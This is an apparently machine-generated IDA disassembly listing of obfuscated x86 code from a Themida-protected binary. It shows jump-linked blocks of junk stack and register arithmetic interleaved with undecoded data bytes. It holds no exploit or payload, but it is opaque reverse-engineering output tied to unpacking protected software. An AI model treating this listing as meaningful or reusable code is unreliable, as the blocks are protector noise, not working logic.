		dd 8AEBE9h, 0E9DF0100h,	7C4h, 13E9DEF7h, 89000085h, 0EDB9240Ch
		dd 293F5174h, 2434FFCBh, 4EC8159h, 89000000h, 0A2E92404h
		dd 89FFFFF3h, 4EC83E2h,	0FFA8B2E9h, 72DD68FFh, 8FE90000h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56776B:				; CODE XREF: Themida_:00569691j
		push	ebp
		mov	ebp, 7AB35CC6h
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 9CE1D28h
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 21EE687Eh
		sub	ebp, eax
		pop	eax
		add	ebp, 3B9F5479h
		push	ebp
		jmp	loc_55BA97
; ---------------------------------------------------------------------------
		db 35h,	93h, 0FDh
		dd 0C731D7C9h, 8324048Bh, 0DEE904C4h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5677BB:				; CODE XREF: Themida_:0056F2F4j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	5447h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_55E856
; ---------------------------------------------------------------------------
aSK		db '\é°Š',0
		align 2


loc_5677FA:				; CODE XREF: Themida_:0056FA14j
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 29h
		dd 48759C8h, 4FADE924h,	0C183FFFFh, 240C8704h, 0FFA016E9h
		dd 24248BFFh, 0E924048Fh, 662Ah
; ---------------------------------------------------------------------------


loc_567820:				; CODE XREF: Themida_:0056845Fj
		sub	eax, 0EEF15548h
		sub	esi, 77CF7E86h
		sub	esi, eax
		jmp	loc_561C3A
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 31241433h, 14332414h, 9F685C24h, 89000065h, 74FF243Ch
		dd 3C8B0424h, 4C48124h,	8F000000h, 248B2404h, 2CD36624h
		dd 0EEE99C24h, 0FFFFFF3Ch, 48B2434h, 4C48324h, 608368h
		dd 243C8900h, 243C8B54h, 0E904C483h, 0FFFFEBC7h
; ---------------------------------------------------------------------------


loc_567884:				; CODE XREF: Themida_:00561E2Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	680Eh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56A203
; ---------------------------------------------------------------------------


loc_56789C:				; CODE XREF: Themida_:0056D433j
		add	ebp, 4E677671h
		add	ebp, 38966C2Eh
		pop	ebx
		jmp	loc_56542E
; ---------------------------------------------------------------------------
		dw 18BAh
		dd 0E9003B40h, 5E86h, 240C8B66h, 7B4B6850h, 8F540000h
		dd 0B9512404h, 4, 4244C01h, 2434FF59h, 264AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5678D9:				; CODE XREF: Themida_:0056D422j
		add	esp, 4
		push	eax
		mov	al, 0C4h
		jmp	loc_568F02
; ---------------------------------------------------------------------------


loc_5678E4:				; CODE XREF: Themida_:0056A213j
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56F3E4
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 2DE95F24h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5678FF:				; CODE XREF: Themida_:0056DA30j
		add	ecx, 1
		xor	ecx, 6E153467h
		jmp	loc_561F17
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0CEh
		dd 1534C681h, 0C68122E3h, 16674823h, 0E9240C8Bh, 441Eh
		dd 0E953F186h, 0FFFFC229h, 0E9E68956h, 0FFFFE463h
; ---------------------------------------------------------------------------


loc_567934:				; CODE XREF: Themida_:0055E7C9j
		inc	ebx
		sub	ebx, 43F260Ah
		jmp	loc_55F2ED
; ---------------------------------------------------------------------------
		dd 52F1E957h, 815F0000h, 0A104CCC5h, 4EDC152h, 4011C581h
		dd 0ED8152D6h, 0F6F95741h, 1532E9h, 0A7E95B00h,	53FFFFB6h
		dd 0BE56E389h, 4FAF4E32h, 0FF8A8BE9h, 24048BFFh, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 248B2414h, 74FF5224h, 148B0424h
		dd 4A1A6824h, 4890000h,	0E9E08924h, 81BDh, 7228C381h, 348B7FD0h
		dd 4C48124h, 53000000h,	5B2414F7h, 6C60F381h, 0EC81A9D4h
		dd 4, 0BB241C89h, 2AF7F33h, 8302E3C1h, 0E3C1FFEBh, 0E9554B07h
		dd 72ECh, 0C8BCE89h, 46E1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5679E6:				; CODE XREF: Themida_:0055E4A5j
		pop	ecx
		push	743Dh
		jmp	loc_560909
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4C78100h, 0E9000000h, 57A3h
; ---------------------------------------------------------------------------


loc_567A04:				; CODE XREF: Themida_:0056A1BBj
		and	edx, 69AA2F8Ch
		jmp	loc_55CED0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C8704C7h, 103EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567A22:				; CODE XREF: Themida_:0056F8E4j
		push	edx
		jmp	loc_56381F
; ---------------------------------------------------------------------------
		dd 4C481h, 3C870000h, 0A96AE924h, 1BB5FFFFh, 84E9DD2Ch
		dd 81000022h, 0B859F4EBh, 1D71E94Fh, 0C1810000h, 90D01F73h
		dd 6859CE01h, 3ACCh, 7CB2E9h, 69586800h, 72E934E8h, 1000064h
		dd 0E904244Ch, 72EBh, 0C721F805h, 29840513h, 0C3013212h
		dd 0A9EB8158h, 291CEC72h, 0A9B951C3h, 11CEC72h,	2434FFCBh
		dd 0E0895059h, 17D9E9h,	77EB8100h, 0E9657160h, 0FFFF79CBh
; ---------------------------------------------------------------------------


loc_567AA4:				; CODE XREF: Themida_:00564CADj
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562742
; ---------------------------------------------------------------------------


loc_567ABB:				; CODE XREF: Themida_:00560398j
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 60AA59A1h
		add	edi, 6AD4702Bh
		xor	edi, 0CB7EC9C8h
		mov	ebp, edi
		pop	edi
		jmp	loc_5672EB
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 0E904C783h, 4A22h, 5B2DF581h,	0D5E976ECh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567AF7:				; CODE XREF: Themida_:005653CCj
		add	edi, edx
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_564000
; ---------------------------------------------------------------------------


loc_567B05:				; CODE XREF: Themida_:0056E453j
		mov	[esp], ebx
		push	ecx
		push	edx
		mov	edx, 0AF53155h
		push	ebp
		mov	ebp, 481B30FDh
		or	ebp, 329B69C9h
		or	ebp, 2DB1349Ah
		jmp	loc_56E0F8
; ---------------------------------------------------------------------------
		dw 5650h
		dd 820CE9h, 7C082D00h, 0E0E9395Ch, 6800005Ah, 5EDAh, 50241489h
		dd 3A0FE99Ch, 4BBFFFFh,	1000000h, 5B04245Ch, 5E2434FFh
		dd 5704C483h, 31E956h, 31AD0000h, 7AB951D8h, 53A299Fh
		dd 1A691A8Bh, 4F5FBF57h, 81476867h, 6075D4F7h, 0A7D5E965h
		dd 248BFFFFh, 39CFE924h, 0DE30FFFFh, 49E95B66h,	68FFFF50h
		dd 58EB518Ch, 4ECE815Eh, 8168D054h, 3B129C6h, 48156DDh
		dd 0EA436324h, 0EF815F6Dh, 6DEA4363h, 1759E9h, 34316600h
		dd 307BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567BBE:				; CODE XREF: Themida_:00561E38j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24h
		push	eax
		jmp	loc_55B56F
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	2C8704C5h, 515A5C24h, 0C181E189h
		dd 4, 8704E983h, 6EE9240Ch, 6600003Fh, 0E924048Bh, 1A6Ah
		dd 6B5DEE81h, 0F7890318h, 279DE95Eh, 465E0000h,	2D8FEE81h
		dd 0E9562ACDh, 0CE8h, 59DBF181h, 0E9D178C0h, 0FFFE25E9h
		dd 28B151FFh, 0E96FB050h, 0FFFFBC41h
; ---------------------------------------------------------------------------


loc_567C30:				; CODE XREF: Themida_:00568B03j
		add	ecx, edx
		push	esi
		mov	esi, 5C857384h
		sub	esi, 147F2A9Eh
		sub	ecx, esi
		jmp	loc_56DC07
; ---------------------------------------------------------------------------
		db 68h,	0E4h, 35h
		dd 14890000h, 63E36824h, 148B71DDh, 4C48324h, 311EB850h
		dd 0A435205Ah, 2122334Ch, 0E94258C2h, 0FFFF3EBAh
; ---------------------------------------------------------------------------


loc_567C6C:				; CODE XREF: Themida_:005675F2j
		xor	[esp], edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56F83B
; ---------------------------------------------------------------------------
		dd 56240C89h, 5F20E0BEh, 7714680Fh, 4890000h, 2C815624h
		dd 0B8585124h, 51055840h, 8940B858h, 24048BC1h,	0E904C483h
		dd 0FFFF784Dh, 24048F54h, 0E9575257h, 0FFFFB14Dh
; ---------------------------------------------------------------------------


loc_567CB0:				; CODE XREF: Themida_:0056E6AFj
		add	edi, ecx
		pop	ecx
		add	eax, 7AD73D3Ah
		add	eax, edi
		sub	eax, 7AD73D3Ah
		pop	edi
		shr	eax, 2
		xor	eax, 59BAD96Bh
		sub	ebx, eax
		jmp	loc_56607C
; ---------------------------------------------------------------------------
		db 81h
		dd 2B78BDC1h, 0D5F18136h, 812D897Dh, 715BF6E1h,	1ED0E96Ch
		dd 0CDFE0000h, 0B6C0ED80h, 0FFEE306Ah, 46E92434h, 57FFFFA1h
		dd 2BFh, 5D16E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567D02:				; CODE XREF: Themida_:00564CBBj
		push	edx
		push	1E6Eh
		jmp	loc_5618AB
; ---------------------------------------------------------------------------


loc_567D0D:				; CODE XREF: Themida_:0056F084j
		sub	ebx, 0AB16CBFh
		jmp	loc_56355D
; ---------------------------------------------------------------------------


loc_567D18:				; CODE XREF: Themida_:0056721Ej
		push	ecx
		jmp	loc_55D9C0
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 0E99C240Ch, 0FFFF382Dh, 582434FFh, 0FFA73CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567D31:				; CODE XREF: Themida_:0056EA06j
		pop	ebp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_563660
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8704C383h, 4DE9241Ch, 66FFFFBAh, 0E9240C8Bh, 0FFFF6935h
		dd 0B6E9F729h, 29000064h, 0EF895EF5h, 14EA815Dh, 2953A92Bh
		dd 0C63EE9FAh, 8B66FFFFh, 0C4832404h, 4442C02h,	2CF80009h
		dd 8B440409h, 0FBE9241Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567DA3:				; CODE XREF: Themida_:005654A6j
		inc	esi
		push	ecx
		mov	ecx, 0B2F3CB46h
		xor	esi, ecx
		pop	ecx
		jmp	loc_55C6DE
; ---------------------------------------------------------------------------


loc_567DB2:				; CODE XREF: Themida_:005647A1j
		mov	edi, 0D3C008F3h
		add	edi, ecx
		jmp	loc_56FBA4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BD55h, 59E90000h, 68000081h, 380525F3h, 81241C8Bh
		dd 4C4h, 0CBF38100h, 0F76E3E18h, 3AC381D3h, 89563B3Dh
		dd 241C8BDAh, 4C481h, 0C9E90000h, 8BFFFF45h, 1C892424h
		dd 1B89E924h, 0B9660000h, 216616FDh, 665966CDh,	60D7C581h
		dd 81665566h, 4C18242Ch, 81665F66h, 5D4C18C7h, 7FBE6866h
		dd 241C8966h, 20BD6655h, 19A5E948h, 68590000h, 3463h, 56240C89h
		dd 0C681E689h, 4, 4EE81h, 0D1E90000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E53:				; CODE XREF: Themida_:0055D03Aj
		pop	eax
		add	ecx, 0FFFFFFFFh
		xor	ecx, 0B94744B8h
		add	ebp, 21D6060h
		sub	ebp, ecx
		sub	ebp, 21D6060h
		jmp	loc_55FB08
; ---------------------------------------------------------------------------


loc_567E73:				; CODE XREF: Themida_:0056EA91j
		sub	ebx, 2976319Eh
		add	ebx, esi
		add	ebx, 2976319Eh
		jmp	loc_570405
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF4832E9h, 24248BFFh, 9C2424D2h,	0FF3C5AE9h, 7DE95AFFh
		dd 66FFFF9Fh, 66CBCDBFh, 0C8BCF29h, 89515224h, 0E042E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567EB6:				; CODE XREF: Themida_:0055DBCFj
		push	edx
		mov	edx, esp
		jmp	loc_562E97
; ---------------------------------------------------------------------------


loc_567EBE:				; CODE XREF: Themida_:0056DCC5j
		add	esp, 4
		push	ebx
		jmp	loc_5698F1
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 4B753D8h, 0E938B151h, 2CF7h
; ---------------------------------------------------------------------------


loc_567ED8:				; CODE XREF: Themida_:0055FC45j
		or	esi, 735C2D9Dh
		shl	esi, 8
		sub	esi, 0FD7F9CFCh
		add	ebp, esi
		pop	esi
		jmp	loc_5622B3
; ---------------------------------------------------------------------------


loc_567EEF:				; CODE XREF: Themida_:0055FAB3j
		mov	[esp], ax
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 7920EF81h, 575B3603h, 42474FFh, 83243C8Bh, 48F04C4h
		dd 24248B24h, 0FF3640E9h, 2B2EBBFFh, 0D3F7548Ah, 77A0C381h
		dd 68555978h, 1F05732h,	10D5055Dh, 44E9278Ch
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F33:				; CODE XREF: Themida_:005691AAj
		neg	ebp
		xor	ebp, 20FA1D6Ch
		push	edi
		push	ecx
		jmp	loc_55D1BA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0E9E68924h, 0FFFF7F36h, 53C5815Dh, 0E9E22BBFh, 1E42h
		dd 0FEE95357h, 57FFFFDAh, 0FFE34EE9h, 5AD021FFh, 46606535h
		dd 0E9C6092Eh, 0FFFFC951h, 7D7B68h, 240C8900h, 9310B1B9h
		dd 39E98141h, 890CBFE2h, 240C8BCFh, 0FFE6EFE9h,	2BE56FFh
		dd 1000000h, 8D95E9F1h,	0D329FFFFh, 68DBF75Ah, 0
		dd 5B241C29h, 0FF3A91E9h, 4E981FFh, 87000000h, 0E95C240Ch
		dd 0FFFF8F30h, 270BA52h, 0E2C16B27h, 82E28104h,	4A01C426h
		dd 72E4E9h, 5E5C100h, 0A9ED8145h, 81863E3Dh, 284403C3h
		dd 0E9EB296Eh, 2320h, 0D5885153h, 1E61E9h, 24348700h, 8924248Bh
		dd 82682414h, 8B329628h, 0DEE92414h, 55FFFF8Bh,	5E243481h
		dd 5928E72Dh, 2D5EF181h, 15D28E7h, 591101D9h, 81241C8Bh
		dd 4C4h, 47F1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56802E:				; CODE XREF: Themida_:00560468j
		and	ebp, 670321Eh
		shl	ebp, 6
		shr	ebp, 2
		xor	ebp, 7175593Ah
		add	esi, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	7A1Bh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_56E3BB
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 0FDEF8001h, 2827C780h, 27EF80CFh, 0E987B050h, 0FFFFD8E2h
		dd 8F7815Dh, 0E9203278h, 0FFFFC376h, 0AF71EE81h, 0F08938C7h
		dd 0AAEE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56808A:				; CODE XREF: Themida_:0055DBFDj
		pop	esi
		mov	ebx, edi
		pop	edi
		not	ebx
		push	ebp
		mov	ebp, 208D396Dh
		xor	ebp, 58C5488Eh
		shr	ebp, 1
		sub	ebp, 55972B8Dh
		neg	ebp
		not	ebp
		jmp	loc_564495
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 4EC81h, 0C890000h, 0C989B924h, 73E96051h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5680C3:				; CODE XREF: Themida_:0056B0FFj
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_5611C2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48359h, 0E904EC83h, 0FFFF715Ah, 0E9240489h, 0FFFF4501h
; ---------------------------------------------------------------------------


loc_5680EC:				; CODE XREF: Themida_:00563625j
		xchg	ebx, edi
		jmp	loc_563754
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F4E904EEh, 56000079h, 1D18D3BEh, 62C6811Dh,	0E965F702h
		dd 0FFFFF628h
; ---------------------------------------------------------------------------


loc_56810C:				; CODE XREF: Themida_:0055CAD3j
		mov	[esp], ecx
		push	eax
		mov	eax, 163B7C5Ch
		mov	ecx, eax
		pop	eax
		shr	ecx, 7
		shr	ecx, 1
		push	edi
		push	29CAh
		mov	[esp], edx
		jmp	loc_569CCA
; ---------------------------------------------------------------------------


loc_56812B:				; CODE XREF: Themida_:00565ED8j
		push	edi
		push	esp
		pop	edi
		jmp	loc_565FE9
; ---------------------------------------------------------------------------
aHN		db ']hšN',0
		dd 4BCCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56813E:				; CODE XREF: Themida_:0055D79Aj
		inc	ebx
		shl	ebx, 3
		and	ebx, 56CF7042h
		xor	ebx, 38203E6Ah
		add	eax, ebx
		jmp	loc_564632
; ---------------------------------------------------------------------------


loc_568155:				; CODE XREF: Themida_:0056A067j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_56208D
; ---------------------------------------------------------------------------
		db 5, 2, 76h
a2sV		db '&2é>‚',0
		dw 3100h
		dd 34332434h, 3C895C24h, 3C8B5424h, 4C48124h, 68000000h
		dd 4411h, 2158E9h
		db 0
; ---------------------------------------------------------------------------


loc_568191:				; CODE XREF: Themida_:005633E5j
		pop	esi
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_565C22
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 74FF5000h, 0D8E90424h, 2D00001Fh, 0E8DD12Ah
		dd 0B5E9C701h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5681C7:				; CODE XREF: Themida_:0055E07Aj
		sub	al, 30h
		add	al, ch
		add	al, 30h
		push	ebx
		mov	bl, 7Ah
		push	ecx
		jmp	loc_56D7A6
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 6866CCB6h, 896627B0h, 0F66240Ch, 24E9C8B6h, 8B00003Fh
		dd 0C483240Ch, 0D1E6D104h, 0B4DEE9E6h, 98BBFFFFh, 217C4045h
		dd 0F1815BD9h, 4154698Ah, 52C7E181h, 0E9C157E3h, 0AFF18106h
		dd 8369C623h, 0C8904ECh, 3364E924h, 0C4810000h,	4, 0FF3328E9h
		dd 7BF5BBFFh, 0BF576A94h, 0
		dd 0FF8D0CE9h, 0C1E946FFh, 6600001Ah, 0AE932FFh, 8FFFFF33h
		dd 248B2404h, 2404FF24h, 32FBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56825A:				; CODE XREF: Themida_:00567565j
		xor	edx, 265B6087h
		add	edi, edx
		pop	edx
		push	568h
		mov	[esp], edi
		jmp	loc_561F00
; ---------------------------------------------------------------------------


loc_568270:				; CODE XREF: Themida_:00562DE6j
		pop	ebp
		push	edx
		inc	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		inc	edx
		push	ecx
		mov	ecx, 682028FBh
		add	edx, ecx
		pop	ecx
		push	edx
		add	dword ptr [esp], 6BD668E8h
		jmp	loc_568DDD
; ---------------------------------------------------------------------------
		dw 5566h
		dd 5AC0BD66h, 0FFF03EE9h, 5DEE01FFh, 7766F681h,	0C681028Fh
		dd 80AEA8B7h, 348BF301h, 4C48124h, 1000000h, 2434FFDEh
		dd 81241C8Bh, 4C4h, 4C48300h, 2764E9h, 8BF03100h, 89502434h
		dd 405E0h, 0C0830000h, 74FF5004h, 0AE90424h, 5E000041h
		dd 0B850F901h, 0
		dd 3220E9h, 3CE94700h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682FB:				; CODE XREF: Themida_:005617A1j
		pop	esp
		mov	[esp], ecx
		jmp	loc_55F861
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	0C895C24h, 4CE95424h, 87FFFF95h
		dd 1C683DEh, 5424E9h, 4C48300h,	0FFB2B5E9h, 2BE951FFh
		dd 8F000054h, 248B2404h, 4EC8324h, 0E9243489h, 62E5h
; ---------------------------------------------------------------------------


loc_568340:				; CODE XREF: Themida_:00563765j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56893F
; ---------------------------------------------------------------------------
		db 88h,	0DDh, 66h
		dd 6F46E95Bh, 2C8BFFFFh, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0C8BCD01h, 4C48324h, 8704C583h, 0E95C242Ch
		dd 4793h, 68555657h, 0C991062h,	0FF4F8AE9h, 240489FFh
		dd 92E97BB4h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56839F:				; CODE XREF: Themida_:0055FE9Aj
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		push	esi
		jmp	loc_55C53A
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 411589Dh, 9AE99C24h,	5AFFFF31h, 0C104C483h, 0E8D105E8h
		dd 15C6002Dh, 0DCDE9EAh, 0E9810000h, 2,	5C240C87h, 242C8966h
		dd 243C8766h, 81D7F766h, 2ECh, 3C896600h, 74FF6624h, 8B660224h
		dd 0DC68243Ch, 89000012h, 0CBE92434h, 54FFFFD3h, 8124048Fh
		dd 42404h, 525E0000h, 0A92D21BAh, 0E9C28160h, 0E9E22AE2h
		dd 0FFFF41FCh, 4EC8153h, 89000000h, 0CD68243Ch,	5F385B63h
		dd 6854E9h
		db 0
; ---------------------------------------------------------------------------


loc_568435:				; CODE XREF: Themida_:0055C7ECj
		shr	ah, 1
		push	bx
		mov	bl, 0B1h
		add	ah, bl
		jmp	loc_56E95B
; ---------------------------------------------------------------------------
		dw 8142h
		dd 4B032FF2h, 6E2C17Ah,	5842EA81h, 0E2C12B88h, 0F4E6E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56845A:				; CODE XREF: Themida_:0056095Dj
		mov	eax, 44AC7960h
		jmp	loc_567820
; ---------------------------------------------------------------------------
		dd 17A2C381h, 0E95E198Bh, 0FFFF868Eh, 75476853h, 34FF68DEh
		dd 9EE95B24h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56847F:				; CODE XREF: Themida_:0056A1B2j
		or	ecx, 526D3DC0h
		xor	ecx, 0F61BF183h
		sub	eax, ecx
		pop	ecx
		sub	eax, 4F246CF2h
		sub	eax, ebp
		add	eax, 4F246CF2h
		add	eax, 0DE60E78h
		pop	ebp
		jmp	loc_55F824
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0F0h
		dd 33FFFF33h, 1C31241Ch, 241C3324h, 5424248Bh, 0E924048Fh
		dd 0CBh
; ---------------------------------------------------------------------------


loc_5684C0:				; CODE XREF: Themida_:0056F04Ej
		push	4F311FF9h
		pop	edx
		jmp	loc_56BF88
; ---------------------------------------------------------------------------


loc_5684CB:				; CODE XREF: Themida_:00560BA2j
		xor	ecx, eax
		jmp	loc_55C4DC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 80E70004h, 5891C7h, 2DE95BF9h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5684E3:				; CODE XREF: Themida_:0056256Fj
		mov	ecx, 597F1F5Dh
		inc	ecx
		dec	ecx
		add	ecx, 0A680E0A7h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		jmp	loc_55DAF4
; ---------------------------------------------------------------------------
		dd 0E95AD001h, 0FFFFA5C6h
; ---------------------------------------------------------------------------


loc_568508:				; CODE XREF: Themida_:0055B5F0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_55D85E
; ---------------------------------------------------------------------------
		dw 0E2D1h
		dd 11F76850h, 24890000h, 24048124h, 4, 4BE5658h, 1000000h
		dd 0DEBEE9F0h, 6856FFFFh, 6D726E1Dh, 0FFAAB3E9h, 89515CFFh
		dd 4C181E1h, 83000000h,	0C8704C1h, 79E95C24h, 28000081h
		dd 805966CBh, 5899C3h, 0B65266C3h, 66F328D2h, 98E4E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56856E:				; CODE XREF: Themida_:00568C78j
		pop	edx
		push	ecx
		jmp	loc_56636A
; ---------------------------------------------------------------------------
		db 68h,	48h, 40h
		dd 0C15960EEh, 0D1E906E9h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568583:				; CODE XREF: Themida_:0055BF59j
		mov	[esp], esi
		jmp	loc_55C864
; ---------------------------------------------------------------------------
		db 83h
		dd 5E042404h, 4C681h, 0EC830000h, 5644E904h, 77FFFFFFh
		dd 33D6683Ch, 26E90000h, 28FFFFC9h, 0C3285AD0h,	0B6526658h
		dd 66F328D4h, 0E1A6E95Ah, 0D8F7FFFFh, 94AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5685C5:				; CODE XREF: Themida_:00568A33j
		mov	ebx, 60D70A4Dh
		jmp	loc_56F69E
; ---------------------------------------------------------------------------
		db 81h
		dd 8C4CDBC7h, 81F72966h, 8C4CDBEFh, 24348B66h, 104C483h
		dd 0E78957EFh, 4C781h, 0EF830000h, 7459E904h, 0B60F0000h
		dd 48F66C0h, 2F53E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568602:				; CODE XREF: Themida_:00563DE9j
		mov	[esp], edx
		mov	dh, 6Ch
		jmp	loc_56B62C
; ---------------------------------------------------------------------------


loc_56860C:				; CODE XREF: Themida_:0056E6BBj
		sub	al, 0E2h
		add	al, bl
		add	al, 0E2h
		sub	al, 0D5h
		jmp	loc_55BD52
; ---------------------------------------------------------------------------


loc_568619:				; CODE XREF: Themida_:0056EF30j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56B310
; ---------------------------------------------------------------------------


loc_56862B:				; CODE XREF: Themida_:00568855j
		xor	[edi+24h], eax
		jmp	loc_55D828
; ---------------------------------------------------------------------------
		db 83h
		dd 976804C4h, 0E9000019h, 7CCh,	48BC601h, 4C48324h, 4C681h
		dd 34330000h, 24343124h, 8B243433h, 34FF2424h, 7876E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568662:				; CODE XREF: Themida_:0055E22Ej
		pop	edx
		sub	bl, 7
		jmp	loc_561EF5
; ---------------------------------------------------------------------------


loc_56866B:				; CODE XREF: Themida_:0056570Ej
		sub	edx, ebx
		pop	ebx
		push	dword ptr [edx]
		pop	ecx
		jmp	loc_563108
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 68E08950h, 0D77h, 5825E9h, 240C8B00h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 8158E500h, 4ECh
		dd 24148900h, 880EB753h, 2434FFFAh, 5BF0E95Bh, 0DCF60000h
		dd 0FF8B62E9h, 240433FFh, 5124248Bh, 0B9h, 304A8900h, 592434FFh
		dd 4A77E953h, 505EFFFFh, 0E71E0AB8h, 5D8F775h, 34881D84h
		dd 5759BE56h, 0CE8100DFh, 3CEB391Dh, 53D6F746h,	0E0A79BBh
		dd 5E3C126h, 4DE8F381h,	0F3811F53h, 0EA2D71E2h,	0E95BDE01h
		dd 0FFFFB1ADh
; ---------------------------------------------------------------------------


loc_568714:				; CODE XREF: Themida_:00569F85j
		sub	dh, bh
		pop	ebx
		jmp	loc_55E229
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 89662424h, 2AE92404h, 68FFFF2Eh, 400h, 5DE8895Dh
		dd 8B1C4709h, 0E2682404h, 8900006Ah, 5E542434h,	32A7E9h
		dd 0BB535B00h, 6C4F7625h, 864B951h, 0CB31449Fh,	0FF45C0E9h
		dd 5EF501FFh, 0C91EC581h, 0EE01BDC0h, 83242C8Bh, 48B04C4h
		dd 4C48324h, 3302C683h,	34312434h, 24343324h, 0FF4541E9h
		dd 65BF57FFh, 297E5D0Fh, 0E9465FFEh, 0FFFF4BB7h, 22E9D701h
		dd 56FFFF6Eh, 1D7168h, 24248900h, 113E9h, 4EC8300h, 83242C89h
